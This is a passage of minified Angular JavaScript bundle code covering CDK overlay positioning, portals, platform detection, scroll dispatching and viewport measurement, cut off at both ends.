x=this._origin;if(x instanceof s.SBq)return x.nativeElement.getBoundingClientRect();if(x instanceof Element)return x.getBoundingClientRect();const m=x.width||0,b=x.height||0;return{top:x.y,bottom:x.y+b,left:x.x,right:x.x+m,height:b,width:m}}}function De(te,x){for(let m in x)x.hasOwnProperty(m)&&(te[m]=x[m]);return te}function re(te){if("number"!=typeof te&&null!=te){const[x,m]=te.split(bt);return m&&"px"!==m?null:parseFloat(x)}return te||null}function ve(te){return{top:Math.floor(te.top),right:Math.floor(te.right),bottom:Math.floor(te.bottom),left:Math.floor(te.left),width:Math.floor(te.width),height:Math.floor(te.height)}}const Be="cdk-global-overlay-wrapper";class pe{constructor(){this._cssPosition="static",this._topOffset="",this._bottomOffset="",this._alignItems="",this._xPosition="",this._xOffset="",this._width="",this._height="",this._isDisposed=!1}attach(x){const m=x.getConfig();this._overlayRef=x,this._width&&!m.width&&x.updateSize({width:this._width}),this._height&&!m.height&&x.updateSize({height:this._height}),x.hostElement.classList.add(Be),this._isDisposed=!1}top(x=""){return this._bottomOffset="",this._topOffset=x,this._alignItems="flex-start",this}left(x=""){return this._xOffset=x,this._xPosition="left",this}bottom(x=""){return this._topOffset="",this._bottomOffset=x,this._alignItems="flex-end",this}right(x=""){return this._xOffset=x,this._xPosition="right",this}start(x=""){return this._xOffset=x,this._xPosition="start",this}end(x=""){return this._xOffset=x,this._xPosition="end",this}width(x=""){return this._overlayRef?this._overlayRef.updateSize({width:x}):this._width=x,this}height(x=""){return this._overlayRef?this._overlayRef.updateSize({height:x}):this._height=x,this}centerHorizontally(x=""){return this.left(x),this._xPosition="center",this}centerVertically(x=""){return this.top(x),this._alignItems="center",this}apply(){if(!this._overlayRef||!this._overlayRef.hasAttached())return;const x=this._overlayRef.overlayElement.style,m=this._overlayRef.hostElement.style,b=this._overlayRef.getConfig(),{width:B,height:ie,maxWidth:Xe,maxHeight:it}=b,wt=!("100%"!==B&&"100vw"!==B||Xe&&"100%"!==Xe&&"100vw"!==Xe),Vt=!("100%"!==ie&&"100vh"!==ie||it&&"100%"!==it&&"100vh"!==it),Gt=this._xPosition,qt=this._xOffset,u1="rtl"===this._overlayRef.getConfig().direction;let c1="",It="",_t="";wt?_t="flex-start":"center"===Gt?(_t="center",u1?It=qt:c1=qt):u1?"left"===Gt||"end"===Gt?(_t="flex-end",c1=qt):("right"===Gt||"start"===Gt)&&(_t="flex-start",It=qt):"left"===Gt||"start"===Gt?(_t="flex-start",c1=qt):("right"===Gt||"end"===Gt)&&(_t="flex-end",It=qt),x.position=this._cssPosition,x.marginLeft=wt?"0":c1,x.marginTop=Vt?"0":this._topOffset,x.marginBottom=this._bottomOffset,x.marginRight=wt?"0":It,m.justifyContent=_t,m.alignItems=Vt?"flex-start":this._alignItems}dispose(){if(this._isDisposed||!this._overlayRef)return;const x=this._overlayRef.overlayElement.style,m=this._overlayRef.hostElement,b=m.style;m.classList.remove(Be),b.justifyContent=b.alignItems=x.marginTop=x.marginBottom=x.marginLeft=x.marginRight=x.position="",this._overlayRef=null,this._isDisposed=!0}}let P=(()=>{class te{constructor(m,b,B,ie){this._viewportRuler=m,this._document=b,this._platform=B,this._overlayContainer=ie}global(){return new pe}flexibleConnectedTo(m){return new ze(m,this._viewportRuler,this._document,this._platform,this._overlayContainer)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(n.rL),s.LFG(a.K0),s.LFG(c.t4),s.LFG(qe))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),w=0,R=(()=>{class te{constructor(m,b,B,ie,Xe,it,wt,Vt,Gt,qt,u1,c1){this.scrollStrategies=m,this._overlayContainer=b,this._componentFactoryResolver=B,this._positionBuilder=ie,this._keyboardDispatcher=Xe,this._injector=it,this._ngZone=wt,this._document=Vt,this._directionality=Gt,this._location=qt,this._outsideClickDispatcher=u1,this._animationsModuleType=c1}create(m){const b=this._createHostElement(),B=this._createPaneElement(b),ie=this._createPortalOutlet(B),Xe=new q(m);return Xe.direction=Xe.direction||this._directionality.value,new Ke(ie,b,B,Xe,this._ngZone,this._keyboardDispatcher,this._document,this._location,this._outsideClickDispatcher,"NoopAnimations"===this._animationsModuleType)}position(){return this._positionBuilder}_createPaneElement(m){const b=this._document.createElement("div");return b.id="cdk-overlay-"+w++,b.classList.add("cdk-overlay-pane"),m.appendChild(b),b}_createHostElement(){const m=this._document.createElement("div");return this._overlayContainer.getContainerElement().appendChild(m),m}_createPortalOutlet(m){return this._appRef||(this._appRef=this._injector.get(s.z2F)),new E.u0(m,this._componentFactoryResolver,this._appRef,this._injector,this._document)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(ee),s.LFG(qe),s.LFG(s._Vd),s.LFG(P),s.LFG(Qe),s.LFG(s.zs3),s.LFG(s.R0b),s.LFG(a.K0),s.LFG(f.Is),s.LFG(a.Ye),s.LFG(Ye),s.LFG(s.QbO,8))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac}),te})();const X=[{originX:"start",originY:"bottom",overlayX:"start",overlayY:"top"},{originX:"start",originY:"top",overlayX:"start",overlayY:"bottom"},{originX:"end",originY:"top",overlayX:"end",overlayY:"bottom"},{originX:"end",originY:"bottom",overlayX:"end",overlayY:"top"}],_e=new s.OlP("cdk-connected-overlay-scroll-strategy");let ct=(()=>{class te{constructor(m){this.elementRef=m}}return te.\\u0275fac=function(m){return new(m||te)(s.Y36(s.SBq))},te.\\u0275dir=s.lG2({type:te,selectors:[["","cdk-overlay-origin",""],["","overlay-origin",""],["","cdkOverlayOrigin",""]],exportAs:["cdkOverlayOrigin"]}),te})(),Je=(()=>{class te{constructor(m,b,B,ie,Xe){this._overlay=m,this._dir=Xe,this._hasBackdrop=!1,this._lockPosition=!1,this._growAfterOpen=!1,this._flexibleDimensions=!1,this._push=!1,this._backdropSubscription=S.w.EMPTY,this._attachSubscription=S.w.EMPTY,this._detachSubscription=S.w.EMPTY,this._positionSubscription=S.w.EMPTY,this.viewportMargin=0,this.open=!1,this.disableClose=!1,this.backdropClick=new s.vpe,this.positionChange=new s.vpe,this.attach=new s.vpe,this.detach=new s.vpe,this.overlayKeydown=new s.vpe,this.overlayOutsideClick=new s.vpe,this._templatePortal=new E.UE(b,B),this._scrollStrategyFactory=ie,this.scrollStrategy=this._scrollStrategyFactory()}get offsetX(){return this._offsetX}set offsetX(m){this._offsetX=m,this._position&&this._updatePositionStrategy(this._position)}get offsetY(){return this._offsetY}set offsetY(m){this._offsetY=m,this._position&&this._updatePositionStrategy(this._position)}get hasBackdrop(){return this._hasBackdrop}set hasBackdrop(m){this._hasBackdrop=(0,u.Ig)(m)}get lockPosition(){return this._lockPosition}set lockPosition(m){this._lockPosition=(0,u.Ig)(m)}get flexibleDimensions(){return this._flexibleDimensions}set flexibleDimensions(m){this._flexibleDimensions=(0,u.Ig)(m)}get growAfterOpen(){return this._growAfterOpen}set growAfterOpen(m){this._growAfterOpen=(0,u.Ig)(m)}get push(){return this._push}set push(m){this._push=(0,u.Ig)(m)}get overlayRef(){return this._overlayRef}get dir(){return this._dir?this._dir.value:"ltr"}ngOnDestroy(){this._attachSubscription.unsubscribe(),this._detachSubscription.unsubscribe(),this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe(),this._overlayRef&&this._overlayRef.dispose()}ngOnChanges(m){this._position&&(this._updatePositionStrategy(this._position),this._overlayRef.updateSize({width:this.width,minWidth:this.minWidth,height:this.height,minHeight:this.minHeight}),m.origin&&this.open&&this._position.apply()),m.open&&(this.open?this._attachOverlay():this._detachOverlay())}_createOverlay(){(!this.positions||!this.positions.length)&&(this.positions=X);const m=this._overlayRef=this._overlay.create(this._buildConfig());this._attachSubscription=m.attachments().subscribe(()=>this.attach.emit()),this._detachSubscription=m.detachments().subscribe(()=>this.detach.emit()),m.keydownEvents().subscribe(b=>{this.overlayKeydown.next(b),b.keyCode===j.hY&&!this.disableClose&&!(0,j.Vb)(b)&&(b.preventDefault(),this._detachOverlay())}),this._overlayRef.outsidePointerEvents().subscribe(b=>{this.overlayOutsideClick.next(b)})}_buildConfig(){const m=this._position=this.positionStrategy||this._createPositionStrategy(),b=new q({direction:this._dir,positionStrategy:m,scrollStrategy:this.scrollStrategy,hasBackdrop:this.hasBackdrop});return(this.width||0===this.width)&&(b.width=this.width),(this.height||0===this.height)&&(b.height=this.height),(this.minWidth||0===this.minWidth)&&(b.minWidth=this.minWidth),(this.minHeight||0===this.minHeight)&&(b.minHeight=this.minHeight),this.backdropClass&&(b.backdropClass=this.backdropClass),this.panelClass&&(b.panelClass=this.panelClass),b}_updatePositionStrategy(m){const b=this.positions.map(B=>({originX:B.originX,originY:B.originY,overlayX:B.overlayX,overlayY:B.overlayY,offsetX:B.offsetX||this.offsetX,offsetY:B.offsetY||this.offsetY,panelClass:B.panelClass||void 0}));return m.setOrigin(this._getFlexibleConnectedPositionStrategyOrigin()).withPositions(b).withFlexibleDimensions(this.flexibleDimensions).withPush(this.push).withGrowAfterOpen(this.growAfterOpen).withViewportMargin(this.viewportMargin).withLockedPosition(this.lockPosition).withTransformOriginOn(this.transformOriginSelector)}_createPositionStrategy(){const m=this._overlay.position().flexibleConnectedTo(this._getFlexibleConnectedPositionStrategyOrigin());return this._updatePositionStrategy(m),m}_getFlexibleConnectedPositionStrategyOrigin(){return this.origin instanceof ct?this.origin.elementRef:this.origin}_attachOverlay(){this._overlayRef?this._overlayRef.getConfig().hasBackdrop=this.hasBackdrop:this._createOverlay(),this._overlayRef.hasAttached()||this._overlayRef.attach(this._templatePortal),this.hasBackdrop?this._backdropSubscription=this._overlayRef.backdropClick().subscribe(m=>{this.backdropClick.emit(m)}):this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe(),this.positionChange.observers.length>0&&(this._positionSubscription=this._position.positionChanges.pipe((0,H.o)(()=>this.positionChange.observers.length>0)).subscribe(m=>{this.positionChange.emit(m),0===this.positionChange.observers.length&&this._positionSubscription.unsubscribe()}))}_detachOverlay(){this._overlayRef&&this._overlayRef.detach(),this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe()}}return te.\\u0275fac=function(m){return new(m||te)(s.Y36(R),s.Y36(s.Rgc),s.Y36(s.s_b),s.Y36(_e),s.Y36(f.Is,8))},te.\\u0275dir=s.lG2({type:te,selectors:[["","cdk-connected-overlay",""],["","connected-overlay",""],["","cdkConnectedOverlay",""]],inputs:{origin:["cdkConnectedOverlayOrigin","origin"],positions:["cdkConnectedOverlayPositions","positions"],positionStrategy:["cdkConnectedOverlayPositionStrategy","positionStrategy"],offsetX:["cdkConnectedOverlayOffsetX","offsetX"],offsetY:["cdkConnectedOverlayOffsetY","offsetY"],width:["cdkConnectedOverlayWidth","width"],height:["cdkConnectedOverlayHeight","height"],minWidth:["cdkConnectedOverlayMinWidth","minWidth"],minHeight:["cdkConnectedOverlayMinHeight","minHeight"],backdropClass:["cdkConnectedOverlayBackdropClass","backdropClass"],panelClass:["cdkConnectedOverlayPanelClass","panelClass"],viewportMargin:["cdkConnectedOverlayViewportMargin","viewportMargin"],scrollStrategy:["cdkConnectedOverlayScrollStrategy","scrollStrategy"],open:["cdkConnectedOverlayOpen","open"],disableClose:["cdkConnectedOverlayDisableClose","disableClose"],transformOriginSelector:["cdkConnectedOverlayTransformOriginOn","transformOriginSelector"],hasBackdrop:["cdkConnectedOverlayHasBackdrop","hasBackdrop"],lockPosition:["cdkConnectedOverlayLockPosition","lockPosition"],flexibleDimensions:["cdkConnectedOverlayFlexibleDimensions","flexibleDimensions"],growAfterOpen:["cdkConnectedOverlayGrowAfterOpen","growAfterOpen"],push:["cdkConnectedOverlayPush","push"]},outputs:{backdropClick:"backdropClick",positionChange:"positionChange",attach:"attach",detach:"detach",overlayKeydown:"overlayKeydown",overlayOutsideClick:"overlayOutsideClick"},exportAs:["cdkConnectedOverlay"],features:[s.TTD]}),te})();const Dt={provide:_e,deps:[R],useFactory:function Et(te){return()=>te.scrollStrategies.reposition()}};let Pt=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275mod=s.oAB({type:te}),te.\\u0275inj=s.cJS({providers:[R,Dt],imports:[f.vT,E.eL,n.Cl,n.Cl]}),te})()},3353:(At,ae,d)=>{"use strict";d.d(ae,{Mq:()=>j,Oy:()=>K,_i:()=>U,ht:()=>Ce,i$:()=>C,kV:()=>oe,qK:()=>_,sA:()=>k,t4:()=>u});var n=d(4650),a=d(6895);let s;try{s=typeof Intl<"u"&&Intl.v8BreakIterator}catch{s=!1}let f,u=(()=>{class se{constructor(q){this._platformId=q,this.isBrowser=this._platformId?(0,a.NF)(this._platformId):"object"==typeof document&&!!document,this.EDGE=this.isBrowser&&/(edge)/i.test(navigator.userAgent),this.TRIDENT=this.isBrowser&&/(msie|trident)/i.test(navigator.userAgent),this.BLINK=this.isBrowser&&!(!window.chrome&&!s)&&typeof CSS<"u"&&!this.EDGE&&!this.TRIDENT,this.WEBKIT=this.isBrowser&&/AppleWebKit/i.test(navigator.userAgent)&&!this.BLINK&&!this.EDGE&&!this.TRIDENT,this.IOS=this.isBrowser&&/iPad|iPhone|iPod/.test(navigator.userAgent)&&!("MSStream"in window),this.FIREFOX=this.isBrowser&&/(firefox|minefield)/i.test(navigator.userAgent),this.ANDROID=this.isBrowser&&/android/i.test(navigator.userAgent)&&!this.TRIDENT,this.SAFARI=this.isBrowser&&/safari/i.test(navigator.userAgent)&&this.WEBKIT}}return se.\\u0275fac=function(q){return new(q||se)(n.LFG(n.Lbi))},se.\\u0275prov=n.Yz7({token:se,factory:se.\\u0275fac,providedIn:"root"}),se})();const E=["color","button","checkbox","date","datetime-local","email","file","hidden","image","month","number","password","radio","range","reset","search","submit","tel","text","time","url","week"];function _(){if(f)return f;if("object"!=typeof document||!document)return f=new Set(E),f;let se=document.createElement("input");return f=new Set(E.filter(ee=>(se.setAttribute("type",ee),se.type===ee))),f}let S,z,H,G;function C(se){return function g(){if(null==S&&typeof window<"u")try{window.addEventListener("test",null,Object.defineProperty({},"passive",{get:()=>S=!0}))}finally{S=S||!1}return S}()?se:!!se.capture}function j(){if(null==H){if("object"!=typeof document||!document||"function"!=typeof Element||!Element)return H=!1,H;if("scrollBehavior"in document.documentElement.style)H=!0;else{const se=Element.prototype.scrollTo;H=!!se&&!/\\{\\s*\\[native code\\]\\s*\\}/.test(se.toString())}}return H}function U(){if("object"!=typeof document||!document)return 0;if(null==z){const se=document.createElement("div"),ee=se.style;se.dir="rtl",ee.width="1px",ee.overflow="auto",ee.visibility="hidden",ee.pointerEvents="none",ee.position="absolute";const q=document.createElement("div"),we=q.style;we.width="2px",we.height="1px",se.appendChild(q),document.body.appendChild(se),z=0,0===se.scrollLeft&&(se.scrollLeft=1,z=0===se.scrollLeft?1:2),se.remove()}return z}function oe(se){if(function Q(){if(null==G){const se=typeof document<"u"?document.head:null;G=!(!se||!se.createShadowRoot&&!se.attachShadow)}return G}()){const ee=se.getRootNode?se.getRootNode():null;if(typeof ShadowRoot<"u"&&ShadowRoot&&ee instanceof ShadowRoot)return ee}return null}function Ce(){let se=typeof document<"u"&&document?document.activeElement:null;for(;se&&se.shadowRoot;){const ee=se.shadowRoot.activeElement;if(ee===se)break;se=ee}return se}function k(se){return se.composedPath?se.composedPath()[0]:se.target}function K(){return typeof __karma__<"u"&&!!__karma__||typeof jasmine<"u"&&!!jasmine||typeof jest<"u"&&!!jest||typeof Mocha<"u"&&!!Mocha}},4080:(At,ae,d)=>{"use strict";d.d(ae,{C5:()=>g,Pl:()=>Ce,UE:()=>C,eL:()=>K,en:()=>H,ig:()=>Q,u0:()=>U});var n=d(4650),a=d(6895);class S{attach(q){return this._attachedHost=q,q.attach(this)}detach(){let q=this._attachedHost;null!=q&&(this._attachedHost=null,q.detach())}get isAttached(){return null!=this._attachedHost}setAttachedHost(q){this._attachedHost=q}}class g extends S{constructor(q,we,ce,je){super(),this.component=q,this.viewContainerRef=we,this.injector=ce,this.componentFactoryResolver=je}}class C extends S{constructor(q,we,ce,je){super(),this.templateRef=q,this.viewContainerRef=we,this.context=ce,this.injector=je}get origin(){return this.templateRef.elementRef}attach(q,we=this.context){return this.context=we,super.attach(q)}detach(){return this.context=void 0,super.detach()}}class z extends S{constructor(q){super(),this.element=q instanceof n.SBq?q.nativeElement:q}}class H{constructor(){this._isDisposed=!1,this.attachDomPortal=null}hasAttached(){return!!this._attachedPortal}attach(q){return q instanceof g?(this._attachedPortal=q,this.attachComponentPortal(q)):q instanceof C?(this._attachedPortal=q,this.attachTemplatePortal(q)):this.attachDomPortal&&q instanceof z?(this._attachedPortal=q,this.attachDomPortal(q)):void 0}detach(){this._attachedPortal&&(this._attachedPortal.setAttachedHost(null),this._attachedPortal=null),this._invokeDisposeFn()}dispose(){this.hasAttached()&&this.detach(),this._invokeDisposeFn(),this._isDisposed=!0}setDisposeFn(q){this._disposeFn=q}_invokeDisposeFn(){this._disposeFn&&(this._disposeFn(),this._disposeFn=null)}}class U extends H{constructor(q,we,ce,je,Ze){super(),this.outletElement=q,this._componentFactoryResolver=we,this._appRef=ce,this._defaultInjector=je,this.attachDomPortal=le=>{const Oe=le.element,Qe=this._document.createComment("dom-portal");Oe.parentNode.insertBefore(Qe,Oe),this.outletElement.appendChild(Oe),this._attachedPortal=le,super.setDisposeFn(()=>{Qe.parentNode&&Qe.parentNode.replaceChild(Oe,Qe)})},this._document=Ze}attachComponentPortal(q){const ce=(q.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(q.component);let je;return q.viewContainerRef?(je=q.viewContainerRef.createComponent(ce,q.viewContainerRef.length,q.injector||q.viewContainerRef.injector),this.setDisposeFn(()=>je.destroy())):(je=ce.create(q.injector||this._defaultInjector||n.zs3.NULL),this._appRef.attachView(je.hostView),this.setDisposeFn(()=>{this._appRef.viewCount>0&&this._appRef.detachView(je.hostView),je.destroy()})),this.outletElement.appendChild(this._getComponentRootNode(je)),this._attachedPortal=q,je}attachTemplatePortal(q){let we=q.viewContainerRef,ce=we.createEmbeddedView(q.templateRef,q.context,{injector:q.injector});return ce.rootNodes.forEach(je=>this.outletElement.appendChild(je)),ce.detectChanges(),this.setDisposeFn(()=>{let je=we.indexOf(ce);-1!==je&&we.remove(je)}),this._attachedPortal=q,ce}dispose(){super.dispose(),this.outletElement.remove()}_getComponentRootNode(q){return q.hostView.rootNodes[0]}}let Q=(()=>{class ee extends C{constructor(we,ce){super(we,ce)}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(n.Rgc),n.Y36(n.s_b))},ee.\\u0275dir=n.lG2({type:ee,selectors:[["","cdkPortal",""]],exportAs:["cdkPortal"],features:[n.qOj]}),ee})(),Ce=(()=>{class ee extends H{constructor(we,ce,je){super(),this._componentFactoryResolver=we,this._viewContainerRef=ce,this._isInitialized=!1,this.attached=new n.vpe,this.attachDomPortal=Ze=>{const le=Ze.element,Oe=this._document.createComment("dom-portal");Ze.setAttachedHost(this),le.parentNode.insertBefore(Oe,le),this._getRootNode().appendChild(le),this._attachedPortal=Ze,super.setDisposeFn(()=>{Oe.parentNode&&Oe.parentNode.replaceChild(le,Oe)})},this._document=je}get portal(){return this._attachedPortal}set portal(we){this.hasAttached()&&!we&&!this._isInitialized||(this.hasAttached()&&super.detach(),we&&super.attach(we),this._attachedPortal=we||null)}get attachedRef(){return this._attachedRef}ngOnInit(){this._isInitialized=!0}ngOnDestroy(){super.dispose(),this._attachedPortal=null,this._attachedRef=null}attachComponentPortal(we){we.setAttachedHost(this);const ce=null!=we.viewContainerRef?we.viewContainerRef:this._viewContainerRef,Ze=(we.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(we.component),le=ce.createComponent(Ze,ce.length,we.injector||ce.injector);return ce!==this._viewContainerRef&&this._getRootNode().appendChild(le.hostView.rootNodes[0]),super.setDisposeFn(()=>le.destroy()),this._attachedPortal=we,this._attachedRef=le,this.attached.emit(le),le}attachTemplatePortal(we){we.setAttachedHost(this);const ce=this._viewContainerRef.createEmbeddedView(we.templateRef,we.context,{injector:we.injector});return super.setDisposeFn(()=>this._viewContainerRef.clear()),this._attachedPortal=we,this._attachedRef=ce,this.attached.emit(ce),ce}_getRootNode(){const we=this._viewContainerRef.element.nativeElement;return we.nodeType===we.ELEMENT_NODE?we:we.parentNode}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(n._Vd),n.Y36(n.s_b),n.Y36(a.K0))},ee.\\u0275dir=n.lG2({type:ee,selectors:[["","cdkPortalOutlet",""]],inputs:{portal:["cdkPortalOutlet","portal"]},outputs:{attached:"attached"},exportAs:["cdkPortalOutlet"],features:[n.qOj]}),ee})(),K=(()=>{class ee{}return ee.\\u0275fac=function(we){return new(we||ee)},ee.\\u0275mod=n.oAB({type:ee}),ee.\\u0275inj=n.cJS({}),ee})()},7261:(At,ae,d)=>{"use strict";d.d(ae,{PQ:()=>le,ZD:()=>We,mF:()=>Ze,Cl:()=>xt,rL:()=>Qe});var n=d(1281),a=d(4650),s=d(8929),u=d(1086),c=d(6498),f=d(3753),S=(d(352),d(8139),d(353)),g=d(1177);class z{constructor(pe){this.durationSelector=pe}call(pe,P){return P.subscribe(new H(pe,this.durationSelector))}}class H extends g.Ds{constructor(pe,P){super(pe),this.durationSelector=P,this.hasValue=!1}_next(pe){if(this.value=pe,this.hasValue=!0,!this.throttled){let P;try{const{durationSelector:R}=this;P=R(pe)}catch(R){return this.destination.error(R)}const w=(0,g.ft)(P,new g.IY(this));!w||w.closed?this.clearThrottle():this.add(this.throttled=w)}}clearThrottle(){const{value:pe,hasValue:P,throttled:w}=this;w&&(this.remove(w),this.throttled=void 0,w.unsubscribe()),P&&(this.value=void 0,this.hasValue=!1,this.destination.next(pe))}notifyNext(){this.clearThrottle()}notifyComplete(){this.clearThrottle()}}var j=d(7739);function U(Be,pe=S.P){return function C(Be){return function(P){return P.lift(new z(Be))}}(()=>(0,j.H)(Be,pe))}var G=d(2198),Q=d(7625),oe=d(3353),Ce=d(6895),k=d(445);let Ze=(()=>{class Be{constructor(P,w,R){this._ngZone=P,this._platform=w,this._scrolled=new s.xQ,this._globalSubscription=null,this._scrolledCount=0,this.scrollContainers=new Map,this._document=R}register(P){this.scrollContainers.has(P)||this.scrollContainers.set(P,P.elementScrolled().subscribe(()=>this._scrolled.next(P)))}deregister(P){const w=this.scrollContainers.get(P);w&&(w.unsubscribe(),this.scrollContainers.delete(P))}scrolled(P=20){return this._platform.isBrowser?new c.y(w=>{this._globalSubscription||this._addGlobalListener();const R=P>0?this._scrolled.pipe(U(P)).subscribe(w):this._scrolled.subscribe(w);return this._scrolledCount++,()=>{R.unsubscribe(),this._scrolledCount--,this._scrolledCount||this._removeGlobalListener()}}):(0,u.of)()}ngOnDestroy(){this._removeGlobalListener(),this.scrollContainers.forEach((P,w)=>this.deregister(w)),this._scrolled.complete()}ancestorScrolled(P,w){const R=this.getAncestorScrollContainers(P);return this.scrolled(w).pipe((0,G.h)(X=>!X||R.indexOf(X)>-1))}getAncestorScrollContainers(P){const w=[];return this.scrollContainers.forEach((R,X)=>{this._scrollableContainsElement(X,P)&&w.push(X)}),w}_getWindow(){return this._document.defaultView||window}_scrollableContainsElement(P,w){let R=(0,n.fI)(w),X=P.getElementRef().nativeElement;do{if(R==X)return!0}while(R=R.parentElement);return!1}_addGlobalListener(){this._globalSubscription=this._ngZone.runOutsideAngular(()=>{const P=this._getWindow();return(0,f.R)(P.document,"scroll").subscribe(()=>this._scrolled.next())})}_removeGlobalListener(){this._globalSubscription&&(this._globalSubscription.unsubscribe(),this._globalSubscription=null)}}return Be.\\u0275fac=function(P){return new(P||Be)(a.LFG(a.R0b),a.LFG(oe.t4),a.LFG(Ce.K0,8))},Be.\\u0275prov=a.Yz7({token:Be,factory:Be.\\u0275fac,providedIn:"root"}),Be})(),le=(()=>{class Be{constructor(P,w,R,X){this.elementRef=P,this.scrollDispatcher=w,this.ngZone=R,this.dir=X,this._destroyed=new s.xQ,this._elementScrolled=new c.y(_e=>this.ngZone.runOutsideAngular(()=>(0,f.R)(this.elementRef.nativeElement,"scroll").pipe((0,Q.R)(this._destroyed)).subscribe(_e)))}ngOnInit(){this.scrollDispatcher.register(this)}ngOnDestroy(){this.scrollDispatcher.deregister(this),this._destroyed.next(),this._destroyed.complete()}elementScrolled(){return this._elementScrolled}getElementRef(){return this.elementRef}scrollTo(P){const w=this.elementRef.nativeElement,R=this.dir&&"rtl"==this.dir.value;null==P.left&&(P.left=R?P.end:P.start),null==P.right&&(P.right=R?P.start:P.end),null!=P.bottom&&(P.top=w.scrollHeight-w.clientHeight-P.bottom),R&&0!=(0,oe._i)()?(null!=P.left&&(P.right=w.scrollWidth-w.clientWidth-P.left),2==(0,oe._i)()?P.left=P.right:1==(0,oe._i)()&&(P.left=P.right?-P.right:P.right)):null!=P.right&&(P.left=w.scrollWidth-w.clientWidth-P.right),this._applyScrollToOptions(P)}_applyScrollToOptions(P){const w=this.elementRef.nativeElement;(0,oe.Mq)()?w.scrollTo(P):(null!=P.top&&(w.scrollTop=P.top),null!=P.left&&(w.scrollLeft=P.left))}measureScrollOffset(P){const w="left",R="right",X=this.elementRef.nativeElement;if("top"==P)return X.scrollTop;if("bottom"==P)return X.scrollHeight-X.clientHeight-X.scrollTop;const _e=this.dir&&"rtl"==this.dir.value;return"start"==P?P=_e?R:w:"end"==P&&(P=_e?w:R),_e&&2==(0,oe._i)()?P==w?X.scrollWidth-X.clientWidth-X.scrollLeft:X.scrollLeft:_e&&1==(0,oe._i)()?P==w?X.scrollLeft+X.scrollWidth-X.clientWidth:-X.scrollLeft:P==w?X.scrollLeft:X.scrollWidth-X.clientWidth-X.scrollLeft}}return Be.\\u0275fac=function(P){return new(P||Be)(a.Y36(a.SBq),a.Y36(Ze),a.Y36(a.R0b),a.Y36(k.Is,8))},Be.\\u0275dir=a.lG2({type:Be,selectors:[["","cdk-scrollable",""],["","cdkScrollable",""]]}),Be})(),Qe=(()=>{class Be{constructor(P,w,R){this._platform=P,this._change=new s.xQ,this._changeListener=X=>{this._change.next(X)},this._document=R,w.runOutsideAngular(()=>{if(P.isBrowser){const X=this._getWindow();X.addEventListener("resize",this._changeListener),X.addEventListener("orientationchange",this._changeListener)}this.change().subscribe(()=>this._viewportSize=null)})}ngOnDestroy(){if(this._platform.isBrowser){const P=this._getWindow();P.removeEventListener("resize",this._changeListener),P.removeEventListener("orientationchange",this._changeListener)}this._change.complete()}getViewportSize(){this._viewportSize||this._updateViewportSize();const P={width:this._viewportSize.width,height:this._viewportSize.height};return this._platform.isBrowser||(this._viewportSize=null),P}getViewportRect(){const P=this.getViewportScrollPosition(),{width:w,height:R}=this.getViewportSize();return{top:P.top,left:P.left,bottom:P.top+R,right:P.left+w,height:R,width:w}}getViewportScrollPosition(){if(!this._platform.isBrowser)return{top:0,left:0};const P=this._document,w=this._getWindow(),R=P.documentElement,X=R.getBoundingClientRect();return{top:-X.top||P.body.scrollTop||w.scrollY||R.scrollTop||0,left:-X.left||P.body.scrollLeft||w.scrollX||R.scrollLeft||0}}change(P=20){return P>0?this._change.pipe(U(P)):this._change}_getWindow(){return this._document.defaultView||window}_updateViewportSize(){const P=this._getWindow();this._viewportSize=this._platform.isBrowser?{width:P.innerWidth,height:P.innerHeight}:{width:0,height:0}}}return Be.\\u0275fac=function(P){return new(P||Be)(a.LFG(oe.t4),a.LFG(a.R0b),a.LFG(Ce.K0,8))},Be.\\u0275prov=a.Yz7({token:Be,factory:Be.\\u0275fac,providedIn:"root"}),Be})(),We=(()=>{class Be{}return Be.\\u0275fac=function(P){return new(P||Be)},Be.\\u0275mod=a.oAB({type:Be}),Be.\\u0275inj=a.cJS({}),Be})(),xt=(()=>{class Be{}return Be.\\u0275fac=function(P){return new(P||Be)},Be.\\u0275mod=a.oAB({type:Be}),Be.\\u0275inj=a.cJS({imports:[k.vT,We,k.vT,We]}),Be})()},6895:(At,ae,d)=>{"use strict";d.d(ae,{Do:()=>Ce,ED:()=>X1,EM:()=>Ui,HT:()=>u,JF:()=>ti,JJ:()=>h2,K0:()=>f,Mx:()=>p1,NF:()=>bi,O5:()=>Gn,Ov:()=>Nn,PC:()=>$n,PM:()=>mn,RF:()=>Rn,S$:()=>G,V_:()=>S,Ye:()=>k,b0:()=>oe,bD:()=>x2,ez:()=>p2,i8:()=>ln,mk:()=>h1,mr:()=>Q,n9:()=>cn,q:()=>s,sg:()=>vn,w_:()=>c});var n=d(4650);let a=null;function s(){return a}function u(N){a||(a=N)}class c{}const f=new n.OlP("DocumentToken");let E=(()=>{class N{historyGo(W){throw new Error("Not implemented")}}return N.\\u0275fac=function(W){return new(W||N)},N.\\u0275prov=n.Yz7({token:N,factory:function(){return function _(){return(0,n.LFG)(g)}()},providedIn:"platform"}),N})();const S=new n.OlP("Location Initialized");let g=(()=>{class N extends E{constructor(W){super(),this._doc=W,this._location=window.location,this._history=window.history}getBaseHrefFromDOM(){return s().getBaseHref(this._doc)}onPopState(W){const Ve=s().getGlobalEventTarget(this._doc,"window");return Ve.addEventListener("popstate",W,!1),()=>Ve.removeEventListener("popstate",W)}onHashChange(W){const Ve=s().getGlobalEventTarget(this._doc,"window");return Ve.addEventListener("hashchange",W,!1),()=>Ve.removeEventListener("hashchange",W)}get href(){return this._location.href}get protocol(){return this._location.protocol}get hostname(){return this._location.hostname}get port(){return this._location.port}get pathname(){return this._location.pathname}get search(){return this._location.search}get hash(){return this._location.hash}set 